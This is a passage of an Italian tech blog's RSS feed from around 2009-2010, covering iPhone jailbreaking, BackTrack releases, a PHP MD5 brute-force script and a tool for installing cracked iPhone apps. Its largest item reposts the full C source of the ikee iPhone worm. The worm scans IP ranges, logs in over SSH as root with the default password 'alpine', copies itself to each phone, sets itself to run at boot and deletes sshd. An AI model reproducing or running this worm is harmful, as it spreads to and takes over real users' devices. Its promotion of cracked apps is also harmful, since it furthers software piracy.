<li>Selezionate il firmware “iPhone1,2_4.0_8A230m_Restore.ipsw” (lo  stesso che avete usato per l’aggiornamento del vostro iPhone 3G)</li>
<li>Selezionate “Install Cydia” e cliccate su “Next”. Entrate in DFU per  fare il Jailbreak.</li>
<li>Quando l’iPhone si riaccende, avrete Cydia installato con un’icona  bianca. Inoltre Cydia non avrà repo: andate in Sources ed inserite  questa repo -&gt; apt.saurik.com/cydia-3.7 (fregatevene di tutti gli  errori che vedrete). Al riavvio di Cydia vedrete la classica icona e le  repository standard pronte all’uso.</li>
</ul>
<p style="text-align: center;"><a href="http://www.pcexpert-blog.com/download/downloadpage.php?id=312"><span style="color: #ff0000;"><strong>Download</strong></span></a></p>
<p style="text-align: right;"><a href="http://www.beyouriphone.com/2010/04/redsn0w-0-9-5-beta-iphone-dev-team-il-jailbreak-delliphone-os-4-beta-1-per-iphone-3g-mac/">Fonte</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2010/04/rilasciato-redsn0w-0-9-5-beta-per-effettuare-il-jailbreak-dell%e2%80%99iphone-os-4-beta-1-per-iphone-3g-mac.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rilasciata la versione finale di Backtrack 4.0 nome in codice &#8220;pwnsauce&#8221;</title>
		<link>http://www.pcexpert-blog.com/2010/01/rilasciata-la-versione-finale-di-backtrack-4-0-nome-in-codice-pwnsauce.html</link>
		<comments>http://www.pcexpert-blog.com/2010/01/rilasciata-la-versione-finale-di-backtrack-4-0-nome-in-codice-pwnsauce.html#comments</comments>
		<pubDate>Tue, 12 Jan 2010 13:10:36 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[crack]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[sicurezza]]></category>
		<category><![CDATA[Sistemi Operativi]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[backtrack]]></category>
		<category><![CDATA[distro]]></category>
		<category><![CDATA[hacker]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1565</guid>
		<description><![CDATA[<p></p>
<p>Finalmente, a circa un anno dalla beta, è stata rilasciata la versione finale di Backtrack 4.0 che, a detta degli sviluppatori, è la migliore release mai rilasciata finora. Questa</p>]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-1566" title="bt4-fireworks-1" src="http://www.pcexpert-blog.com/wp-content/uploads/2010/01/bt4-fireworks-1-300x209.png" alt="" width="300" height="209" /></p>
<p>Finalmente, a circa un anno dalla beta, è stata rilasciata la versione finale di <strong>Backtrack 4.0</strong> che, a detta degli sviluppatori, è la migliore release mai rilasciata finora. Questa nuova versione di backtrack include infatti un nuovo kernel, tantissimi nuovi tool di cui alcuni presenti solo ed esclusivamente nella distro e tantissimi bugfixes relativi a tutti i problemi noti finora agli sviluppatori.</p>
<p>Per il rilascio di backtrack 4.0 è stata inoltre creata una sezione specifica all&#8217;interno della quale è possibile ottenere numerose <strong><a href="http://www.backtrack-linux.org/forums/forum.php">guide e suggerimenti</a></strong> per installare e usare al meglio la nota distro di penetration testing.<br />
Nel momento un cui scrivo purtroppo l&#8217;home che era stata dedicata alla distro è completamente down per gli innumerevoli download!</p>
<p>Tuttavia ecco il link da cui scaricare la distro (anche in versione per VMware) non appena il server tornerà a funzionare correttamente.</p>
<p style="text-align: center;"><a href="http://www.pcexpert-blog.com/download/downloadpage.php?id=298"><span style="color: #ff0000;"><strong>Download Backtrack 4.0</strong></span></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2010/01/rilasciata-la-versione-finale-di-backtrack-4-0-nome-in-codice-pwnsauce.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Codice sorgente di ikee il primo worm per iPhone</title>
		<link>http://www.pcexpert-blog.com/2010/01/codice-sorgente-di-ikee-il-primo-worm-per-iphone.html</link>
		<comments>http://www.pcexpert-blog.com/2010/01/codice-sorgente-di-ikee-il-primo-worm-per-iphone.html#comments</comments>
		<pubDate>Tue, 05 Jan 2010 16:52:15 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[apple]]></category>
		<category><![CDATA[crack]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[Iphone]]></category>
		<category><![CDATA[Mac os X]]></category>
		<category><![CDATA[programmazione]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[sicurezza]]></category>
		<category><![CDATA[Sistemi Operativi]]></category>
		<category><![CDATA[source code]]></category>
		<category><![CDATA[virus]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1558</guid>
		<description><![CDATA[<p></p>
<p>Tutti ricorderanno ikee, il worm che aveva come target tutti gli iPhone sui quali era stato eseguito il jailbreak e dove non era stata cambiata la password di default</p>]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-1559" title="asto" src="http://www.pcexpert-blog.com/wp-content/uploads/2010/01/asto-262x300.jpg" alt="" width="262" height="300" /></p>
<p>Tutti ricorderanno<strong> ikee</strong>, il worm che aveva come target tutti gli iPhone sui quali era stato eseguito il jailbreak e dove non era stata cambiata la password di default (&#8220;<strong>alpine</strong>&#8220;) dopo l&#8217;installazione di <strong>SSH</strong>. Il worm aveva come unico scopo quello di modificare il wallpaper scelto dall&#8217;utente con una immagine che ritraeva <a href="http://it.wikipedia.org/wiki/Rick_Astley">Rick Astley</a> e di cercare altri dispositivi iPhone vulnerabili da infettare. Ecco di seguito il codice sorgente:</p>
<pre class="brush: cpp; title: ; notranslate">
//
// iPhone default pass worm  by ikex
//
// This code is CLOSED source.
// And very hacky, i just needed it to work.
//
// Thanks to alan3423432432 haha for helping me work out my flaws in C
//

#include &quot;main.h&quot;

int fdlock;

// randHost():  Returns a random IP Address XXX.XXX.XXX.XXX
char *randHost(void)
{
    int x,y,z;
    char *retme;
    srand (time (0));
    x=random() % 255;
    y=random() % 255;
    z=random() % 255;
    asprintf(&amp;retme, &quot;%i.%i.%i.&quot;, x,y,z);
    return retme;
}

// get_lock():  Sets/Gets the status of the file lock
//              located in /var/lock/bbot.lock
int get_lock(void)
{
    struct flock fl;
    fl.l_type = F_WRLCK;
    fl.l_whence = SEEK_SET;
    fl.l_start = 0;
    fl.l_len = 1;
    if((fdlock = open(&quot;/var/lock/bbot.lock&quot;, O_WRONLY|O_CREAT, 0666)) == -1)
      return 0;
    if(fcntl(fdlock, F_SETLK, &amp;fl) == -1)
      return 0;
    return 1;
}

// getAddrRange():  Gets the phones 3G range + 2
//                  eg, 100.100.100.0-100.100.102.255
char *getAddrRange()
{
   struct ifaddrs *ifaddr, *ifa;
   int family, s;
   char host[NI_MAXHOST];
   if (getifaddrs(&amp;ifaddr) == -1) {
       perror(&quot;getifaddrs&quot;);
       exit(EXIT_FAILURE);
   }
   for (ifa = ifaddr; ifa != NULL; ifa = ifa-&gt;ifa_next) {
       family = ifa-&gt;ifa_addr-&gt;sa_family;
        if (family == AF_INET)
        {
           if (family == AF_INET || family == AF_INET6) {
               s = getnameinfo(ifa-&gt;ifa_addr,
                       (family == AF_INET) ? sizeof(struct sockaddr_in) :
                                             sizeof(struct sockaddr_in6),
                       host, NI_MAXHOST, NULL, 0, NI_NUMERICHOST);
               if (s != 0) {
                   printf(&quot;getnameinfo() failed: %s\n&quot;, gai_strerror(s));
                   return &quot;0.0.0.0-0.0.0.0&quot;;
               }

               if (strcmp(ifa-&gt;ifa_name, &quot;pdp_ip0&quot;) == 0)
               {
                   syslog(LOG_DEBUG, ifa-&gt;ifa_name);
                   syslog(LOG_DEBUG, host);
                   char *wee[20];
                   tokenise(host, wee, &quot;.&quot;);
                   char *range;
                   int octc = atoi(wee[2]);
                   asprintf(&amp;range, &quot;%s.%s.%i.0-%s.%s.%i.255&quot;, wee[0], wee[1], octc, wee[0], wee[1], octc+2);
                   return range;
                }
           }
        }
   }
   freeifaddrs(ifaddr);
   return &quot;0.0.0.0-0.0.0.0&quot;;
}
// From alan2349024  Sorry i suck at remembering numbers
// Thanks dude!
int tokenise (char input[], char *token[], char* spl) // Added sep param
{
    char *tokens;
    int count = 0;

    tokens = strtok(input, spl);//Change TOKEN_SEPERATORS To What You Want To Seperate Off

    if(tokens[strlen(tokens) - 1] == '\n')
        tokens[strlen(tokens) - 1] = '&#92;&#48;';

    token[count] = tokens;

    while(tokens != NULL)
    {
        count++;
        if( count &gt; MAX_NUM )//change MAX_NUM_TOKENS To A Number
            return (-1);

        tokens = strtok(NULL, spl);

        if(tokens != NULL)
        {
            if(tokens[strlen(tokens) - 1] == '\n')
                tokens[strlen(tokens) - 1] = '&#92;&#48;';
        }
        token[count] = tokens;
    }
    return count;
}

// Entry point.
int main(int argc, char *argv[])
{

    //pid_t   pid, sid;
    //char *subnet = randHost();

    // syslog(LOG_DEBUG, &quot;I should go, i feel like im interupting something ;]&quot;);
    /* // FORK CODE REMOVED IT FUCKS WITH LaunchDaemon.
    pid = fork();
    if (pid &lt; 0)
            exit(EXIT_FAILURE);
      else if (pid &gt; 0)
            exit(EXIT_SUCCESS);

    umask(0);

    sid = setsid();
    */
    if(get_lock() == 0) {
        syslog(LOG_DEBUG, &quot;I know when im not wanted *sniff*&quot;);
        return 1; } // Already running.
    sleep(60); // Lets wait for the network to come up 2 MINS
    syslog(LOG_DEBUG, &quot;IIIIIII Just want to tell you how im feeling&quot;);
    //char ipRange[256] = &quot;120.16.0.0-120.23.255.255&quot;;
    char *locRanges = getAddrRange();
    char *lanRanges = &quot;192.168.0.0-192.168.255.255&quot;; // #172.16.0.0-172.31.255.255 Ehh who uses it
    char *vodRanges1 = &quot;202.81.64.0-202.81.79.255&quot;;
    char *vodRanges2 = &quot;23.98.128.0-123.98.143.255&quot;;
    char *vodRanges3 = &quot;120.16.0.0-120.23.255.255&quot;;
    char *optRanges1 = &quot;114.72.0.0-114.75.255.255&quot;;
    char *optRanges2 = &quot;203.2.75.0-203.2.75.255&quot;;
    char *optRanges3 = &quot;210.49.0.0-210.49.255.255&quot;;
    char *optRanges4 = &quot;203.17.140.0-203.17.140.255&quot;;
    char *optRanges5 = &quot;203.17.138.0-203.17.138.255&quot;;
    char *optRanges6 = &quot;211.28.0.0-211.31.255.255&quot;;
    char *telRanges = &quot;58.160.0.0-58.175.255.25&quot;;
    //char *attRanges = &quot;32.0.0.0-32.255.255.255&quot;; // TOO BIG

    syslog(LOG_DEBUG, &quot;awoadqdoqjdqjwiodjqoi aaah!&quot;);
    ChangeOnBoot();
    KillSSHD();
    // Local first
    while (1)
    {
        syslog(LOG_DEBUG, &quot;Checking out the local scene yo&quot;);
        scanner(locRanges);
        syslog(LOG_DEBUG, &quot;Random baby&quot;);
        int i;
        for (i=0; i &lt;= 2; i++)
        {
            char *ipaddr = randHost();
            char *rrange;
            asprintf(&amp;rrange, &quot;%s.0-%s.255&quot;, ipaddr, ipaddr);
            scanner(rrange);
        }
        // Lan
        syslog(LOG_DEBUG, &quot;Lannnnn&quot;);
        scanner(lanRanges);
        syslog(LOG_DEBUG, &quot;VODAPHONE&quot;);
        scanner(vodRanges1);
        scanner(vodRanges2);
        scanner(vodRanges3);
        syslog(LOG_DEBUG, &quot;OPTUSSSS&quot;);
        scanner(optRanges1);
        scanner(optRanges2);
        scanner(optRanges3);
        scanner(optRanges4);
        scanner(optRanges5);
        scanner(optRanges6);
        syslog(LOG_DEBUG, &quot;Telstra&quot;);
        scanner(telRanges);
    }
}

void scanner(char *ipRange)
{
    char *wee[10];
    char *begin[10];
    char *end[10];
    tokenise(ipRange, wee, &quot;-&quot;);
    int octaB, octaE, octbB, octbE, octcB, octcE;
    tokenise(wee[0], begin, &quot;.&quot;);
    tokenise(wee[1], end, &quot;.&quot;);
    octaB = atoi(begin[0]); // YYY.XXX.XXX.XXX
    octaE = atoi(end[0]);
    octbB = atoi(begin[1]);
    octbE = atoi(end[1]);
    octcB = atoi(begin[2]);
    octcE = atoi(end[2]);
    int loop1;
    for (loop1=octaB; loop1&lt;=octaE; loop1++)
    {
        int loop2;
        for (loop2=octbB; loop2&lt;=octbE; loop2++)
        {
            int loop3;
            for (loop3=octcB; loop3&lt;=octcE; loop3++)
            {
                int loop4;
                for (loop4=0; loop4&lt;=255; loop4++)
                {
                    char* host;
                    asprintf(&amp;host, &quot;%i.%i.%i.%i&quot;, loop1, loop2,loop3, loop4);
                    //printf(&quot;\n\rScanning: %s&quot;, host);
                    if (scanHost(host) == 0 &amp;&amp; checkHost(host) == 0) // This will run scanHost THEN checkHost right?
                    {
                        syslog(LOG_DEBUG, &quot;Oh a sheep!&quot;);
                        //printf(&quot;\n\r - %s is vulnerable&quot;, host);
                        infectHost(host);
                    }
                }
            }
        }
    }
}

// http://img41.imageshack.us/img41/730/asto.jpg
int scanHost(char* host)
{
    int res, valopt, soc;
    struct sockaddr_in addr;
    long arg;
    fd_set myset;
    struct timeval tv;
    socklen_t lon;
    soc = socket(AF_INET, SOCK_STREAM, 0);
    arg = fcntl(soc, F_GETFL, NULL);
    arg |= O_NONBLOCK;
    fcntl(soc, F_SETFL, arg);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(22);
    addr.sin_addr.s_addr = inet_addr(host);
    res = connect(soc, (struct sockaddr *)&amp;addr, sizeof(addr));
    if (res &lt; 0) {
      if (errno == EINPROGRESS) {
        tv.tv_sec = 10;
        tv.tv_usec = 0;
        FD_ZERO(&amp;myset);
        FD_SET(soc, &amp;myset);
        if (select(soc+1, NULL, &amp;myset, NULL, &amp;tv) &gt; 0) {
            lon = sizeof(int);
            getsockopt(soc, SOL_SOCKET, SO_ERROR, (void*)(&amp;valopt), &amp;lon);
            if (valopt) {
              return -1;
            }
        }
        else {
            return -1; }
      }
      else { return -1; }
    }
    close(soc);
    return 0;
    // Set to blocking mode again...
    //arg = fcntl(soc, F_GETFL, NULL);
    //arg &amp;= (~O_NONBLOCK);
    //fcntl(soc, F_SETFL, arg);
}

int checkHost(char *host)
{
    syslog(LOG_DEBUG, host);
    FILE *in;
    extern FILE *popen();
    char buff[512];
    char *execLine;
    asprintf(&amp;execLine, &quot;sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s 'echo 99'&quot;, VULN_PASS, host);
    if (!(in = popen(execLine, &quot;r&quot;))) {
        printf(&quot;Error is sshpass there?&quot;);
        return -1;
    }
    while (fgets(buff, 2, in) != NULL ) {
        if (strcmp(buff, &quot;99&quot;))
            return 0;
    }
    pclose(in);
    return -1; // NOT VULN
}

int runCommand(char* command, char *host)
{
    FILE *in;
    extern FILE *popen();
    char buff[512];
    char *execLine;
    // Really am to lazy to check this but im piling comands as so
    // command1; command2; command3; echo 99
    // my belief is that if for instance command2 dies we wont hit the echo 99
    // which will make us return -1
    asprintf(&amp;execLine, &quot;sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s '%s ; echo 99'&quot;,VULN_PASS, host, command);
    if (!(in = popen(execLine, &quot;r&quot;))) {
        printf(&quot;Error is sshpass there?&quot;);
        return -1;
    }
    while (fgets(buff, 2, in) != NULL ) {
        if (strcmp(buff, &quot;99&quot;))
            return 0;
    }
    pclose(in);
    return -1;
}

int prunCommand(char* command, char *host)
{
    FILE *in;
    extern FILE *popen();
    char buff[512];
    char *execLine;
    asprintf(&amp;execLine, &quot;sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s '%s'&quot;,VULN_PASS, host, command);
    if (!(in = popen(execLine, &quot;r&quot;))) {
        printf(&quot;Error is sshpass there?&quot;);
        return -1;
    }
    while (fgets(buff, sizeof(buff), in) != NULL ) {
        printf(&quot;%s&quot;,buff);
    }
    pclose(in);
    return -1;
}

int CopyFile(char* src, char* dst, char* host)
{
    FILE *in;
    extern FILE *popen();
    char buff[512];
    char *execLine;
    asprintf(&amp;execLine, &quot;sshpass -p %s scp -o StrictHostKeyChecking=no ./%s root@%s:%s&quot;, VULN_PASS, src, host, dst);
    if (!(in = popen(execLine, &quot;r&quot;))) {
        printf(&quot;Error is sshpass there?&quot;);
        return -1;
    }
    while (fgets(buff, sizeof(buff), in) != NULL ) {}
    asprintf(&amp;execLine, &quot;sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s 'which %s'&quot;, VULN_PASS, host, dst);
    if (!(in = popen(execLine, &quot;r&quot;))) {
        printf(&quot;Error is sshpass there?&quot;);
        return -1;
    }
    while (fgets(buff, 2, in) != NULL ) {
        if (strcmp(buff, dst))
            return 0;
    }
    pclose(in);
    return -1;
}

int ChangeOnBoot()
{
    FILE *in;
    extern FILE *popen();
    if (!(in = popen(&quot;cp /var/log/youcanbeclosertogod.jpg /var/mobile/Library/LockBackground.jpg&quot;, &quot;r&quot;))) {
        return -1;
    }
    return 0;
}

int KillSSHD()
{
    FILE *in;
    extern FILE *popen();
    if (!(in = popen(&quot;rm -f /usr/sbin/sshd; killall sshd&quot;, &quot;r&quot;))) {
        return -1;
    }
    return 0;
}

int infectHost(char *host)
{
    // Copy myself to them
    // run as startup
    if (runCommand(&quot;uname -n&quot;, host) == 0)
    {
        //printf(&quot;\n\r - Infecting: &quot;);
        prunCommand(&quot;uname -n&quot;, host);
        prunCommand(&quot;rm /bin/sshpass&quot;, host);
        prunCommand(&quot;rm /bin/poc-bbot&quot;, host);
        //prunCommand(&quot;killall poc-bbot&quot;, host);
        if (CopyFile(&quot;/bin/poc-bbot&quot;, &quot;/bin/poc-bbot&quot;, host) == 0 &amp;&amp; CopyFile(&quot;/bin/sshpass&quot;, &quot;/bin/sshpass&quot;, host) == 0)
        {
            //printf(&quot; - Replicated successfully&quot;);
            prunCommand(&quot;rm /var/mobile/Library/LockBackground.jpg; echo \&quot;\r\n - Removed old background\&quot;&quot;, host);
            // Revision 3 - idea from nevermore!
            // This way dipshits wont delete my stuff
            CopyFile(&quot;/var/log/youcanbeclosertogod.jpg&quot;, &quot;/var/mobile/Library/LockBackground.jpg&quot;, host);
            CopyFile(&quot;/var/log/youcanbeclosertogod.jpg&quot;, &quot;/var/log/youcanbeclosertogod.jpg&quot;, host);
            //CopyFile(&quot;/var/mobile/Library/LockBackground.jpg&quot;, &quot;/var/mobile/Library/LockBackground.jpg&quot;, host); // We aren't
installing an app.

            //printf(&quot; - Background set (ast.jpg).&quot;);
            CopyFile(&quot;/System/Library/LaunchDaemons/com.ikey.bbot.plist&quot;, &quot;/System/Library/LaunchDaemons/com.ikey.bbot.plist&quot;,
host);
            prunCommand(&quot;launchctl load /System/Library/LaunchDaemons/com.ikey.bbot.plist&quot;, host);
            // I didn't want to have to do this.
            prunCommand(&quot;rm -f /Library/LaunchDaemons/com.openssh.sshd.plist; launchctl unload
/Library/LaunchDaemons/com.openssh.sshd.plist&quot;, host);
            prunCommand(&quot;killall sshd&quot;, host);
            //printf(&quot;\n\r - Program set to startup on boot&quot;);
            //prunCommand(&quot;reboot&quot;, host)
            //printf(&quot;\n\r - Rebooting phone!&quot;);
            //CopyFile(&quot;ngtgyu.m4r&quot;, &quot;/var/mobile/ngtgyu.m4r&quot;, host);
            //printf(&quot;\n\r - Ringtone set (ngtgyu.m4r).&quot;);
        }
    }
    return 0;
}

// END
</pre>
<p>Dal blog<a href="http://tungchingkai.blogspot.com/2010/01/source-code-for-ikee-iphone-worm.html"> CK&#8217;s IT</a> ecco invece il file <strong>main.h</strong> mancante:</p>
<pre class="brush: cpp; title: ; notranslate">
# include &lt;sys/fcntl.h&gt;
# include &lt;stdio.h&gt;
# include &lt;stdlib.h&gt;
# include &lt;sys/time.h&gt;
# include &lt;unistd.h&gt;
# include &lt;sys/types.h&gt;
# include &lt;sys/socket.h&gt;
# include &lt;netinet/in.h&gt;
# include &lt;netdb.h&gt;
# include &lt;arpa/inet.h&gt;
# include &lt;syslog.h&gt;
# include &lt;errno.h&gt;
# include &lt;ifaddrs.h&gt;
# include &lt;string.h&gt;

# define MAX_NUM 24
# define VULN_PASS &quot;alpine&quot;

void scanner (char * ipRange);
int scanHost (char * host);
int checkHost (char * host);
int RunCommand (char * comando, char * host);
int prunCommand (char * comando, char * host);
int CopyFile (char * src, char * dst, char * host);
int ChangeOnBoot ();
int KillSSHD ();
int infectHost (char * host);
char * randHost (void);
int GET_LOCK (void);
char * getAddrRange ();
int tokenise (input char [], char * token [], char * SPL);
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2010/01/codice-sorgente-di-ikee-il-primo-worm-per-iphone.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Backtrack 4: Video della versione finale in azione durante l&#8217;esecuzione di un exploit Adobe 0day</title>
		<link>http://www.pcexpert-blog.com/2009/12/backtrack-4-video-della-versione-finale-in-azione-durante-lesecuzione-di-un-exploit-adobe-0day.html</link>
		<comments>http://www.pcexpert-blog.com/2009/12/backtrack-4-video-della-versione-finale-in-azione-durante-lesecuzione-di-un-exploit-adobe-0day.html#comments</comments>
		<pubDate>Wed, 16 Dec 2009 13:45:36 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[crack]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[programmazione]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[sicurezza]]></category>
		<category><![CDATA[Sistemi Operativi]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[backtrack]]></category>
		<category><![CDATA[backtrack4]]></category>
		<category><![CDATA[distro]]></category>
		<category><![CDATA[hacking]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1536</guid>
		<description><![CDATA[<p></p>
<p>Il team di svulippo di BackTrack ci informa, direttamente dal blog ufficiale, che è costantemente al lavoro della quarta release finale della più nota distro di penetration testing. Il</p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.pcexpert-blog.com/wp-content/uploads/2009/12/backtrack-4-Final.png"><img class="aligncenter size-medium wp-image-1537" title="backtrack 4 Final" src="http://www.pcexpert-blog.com/wp-content/uploads/2009/12/backtrack-4-Final-300x216.png" alt="backtrack 4 Final" width="300" height="216" /></a></p>
<p>Il team di svulippo di <strong>BackTrack</strong> ci informa, direttamente dal blog ufficiale, che è costantemente al lavoro della <strong>quarta release finale</strong> della più nota distro di penetration testing. Il rilascio di Backtrack 4 è infatti previsto per fine mese. A <a href="http://devel.offensive-security.com/projects/backtrack/activity">questo indirizzo</a> possiamo trovare informazioni su tutti i bug risolti e le principali novità introdotte in questa nuova release.<br />
Infine il team ha rilascito <strong>un video</strong> che mostra tutta la potenza della loro distro nell&#8217;eseguire il recente <strong>exploit 0day</strong> individuato su <strong>Adobe Reader</strong>.<br />
Ecco il link al <a href="http://www.offensive-security.com/videos/adobe-0day/index.html">video</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2009/12/backtrack-4-video-della-versione-finale-in-azione-durante-lesecuzione-di-un-exploit-adobe-0day.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Script PHP per recuperare una password effettuando un brute force del suo hash</title>
		<link>http://www.pcexpert-blog.com/2009/11/script-php-per-recuperare-una-password-effettuando-un-brute-force-del-suo-hash.html</link>
		<comments>http://www.pcexpert-blog.com/2009/11/script-php-per-recuperare-una-password-effettuando-un-brute-force-del-suo-hash.html#comments</comments>
		<pubDate>Sat, 28 Nov 2009 14:56:34 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[crack]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[programmazione]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[sicurezza]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1474</guid>
		<description><![CDATA[<p>
Sul sito Eternalrise ho trovato un interessantissimo script in grado di recuperare una password effettuando un brute force del suo hash. L&#8217;autore spiega che il suo script è stato</p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.pcexpert-blog.com/wp-content/uploads/2009/11/php_code.jpg"><img class="aligncenter size-medium wp-image-1477" title="php_code" src="http://www.pcexpert-blog.com/wp-content/uploads/2009/11/php_code-300x193.jpg" alt="php_code" width="300" height="193" /></a><br />
Sul sito <a href="http://eternalrise.com/blog/brute-force-php-script/">Eternalrise</a> ho trovato un interessantissimo script in grado di recuperare una password effettuando un brute force del suo hash. L&#8217;autore spiega che il suo script è stato scritto per PHP5 ma è possibile farlo funzionare anche sui web server dove vi è installato PHP4 semplicemente modificando la funzione <strong>hash()</strong> con <strong>md5()</strong>.</p>
<pre class="brush: php; title: ; notranslate">
&lt;?php
/*
 * Thanks to Robert Green for this script he wrote in python
 * http://www.rbgrn.net/blog/2007/09/how-to-write-a-brute-force-password-cracker.html
 * I took what we wrote and ported this to PHP
 *
 * This script was written for PHP 5, but should work with
 * PHP 4 if the hash() function is replaced with md5() or something else
 */

#########################################################
/*                   Configuration                     */

// this is the hash we are trying to crack
define('HASH', '098f6bcd4621d373cade4e832627b4f6');

// algorithm of hash
// see http://php.net/hash_algos for available algorithms
define('HASH_ALGO', 'md5');

// max length of password to try
define('PASSWORD_MAX_LENGTH', 4);

// available characters to try for password
// uncomment additional charsets for more complex passwords
$charset = 'abcdefghijklmnopqrstuvwxyz';
//$charset .= '0123456789';
//$charset .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
//$charset .= '~`!@#$%^&amp;*()-_\/\'&quot;;:,.+=&lt;&gt;? ';
#########################################################
$charset_length = strlen($charset);

function check($password)
{
	if (hash(HASH_ALGO, $password) == HASH) {
		echo 'FOUND MATCH, password: '.$password.&quot;\r\n&quot;;
		exit;
	}
}

function recurse($width, $position, $base_string)
{
	global $charset, $charset_length;

	for ($i = 0; $i &lt; $charset_length; ++$i) {
		if ($position  &lt; $width - 1) {
			recurse($width, $position + 1, $base_string . $charset[$i]);
		}
		check($base_string . $charset[$i]);
	}
}

echo 'target hash: '.HASH.&quot;\r\n&quot;;
recurse(PASSWORD_MAX_LENGTH, 0, '');

echo &quot;Execution complete, no password found\r\n&quot;;

?&gt;
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2009/11/script-php-per-recuperare-una-password-effettuando-un-brute-force-del-suo-hash.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Rilasciato Install0us 2.5 per installare le app crackate (.ipa) direttamente dall&#8217;iphone</title>
		<link>http://www.pcexpert-blog.com/2009/11/rilasciato-install0us-2-5-per-installare-le-app-crackate-ipa-direttamente-dalliphone.html</link>
		<comments>http://www.pcexpert-blog.com/2009/11/rilasciato-install0us-2-5-per-installare-le-app-crackate-ipa-direttamente-dalliphone.html#comments</comments>
		<pubDate>Tue, 10 Nov 2009 21:29:12 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[apple]]></category>
		<category><![CDATA[crack]]></category>
		<category><![CDATA[firmware]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[Sistemi Operativi]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[app]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[install0us]]></category>
		<category><![CDATA[Iphone]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1360</guid>
		<description><![CDATA[Il software in questione ci permetterà di installare, direttamente dal nostro iPhone, tutte le applicazioni con estensione .ipa (crackate) senza dover effettuare la sincronizzazione da iTunes.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.pcexpert-blog.com/wp-content/uploads/2009/11/install0us25.jpg"><img class="aligncenter size-medium wp-image-1361" title="install0us2.5" src="http://www.pcexpert-blog.com/wp-content/uploads/2009/11/install0us25-200x300.jpg" alt="install0us2.5" width="200" height="300" /></a></p>
<p>Finalmente è stata rilasciata la nuova versione ufficiale di <strong>Install0us</strong> e, precisamente, stiamo parlando della <strong>versione 2.5</strong>. Per i pochi che ancora non sanno di cosa sto parlando, il software in questione ci permetterà di installare, direttamente dal nostro iPhone, tutte le applicazioni con estensione .ipa (crackate) senza dover effettuare la sincronizzazione da iTunes.<br />
Per installare la nuova versione ci basterà aggiungere a <strong>cydia </strong>il seguente repository: <strong>http://cydia.install0us.com</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2009/11/rilasciato-install0us-2-5-per-installare-le-app-crackate-ipa-direttamente-dalliphone.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

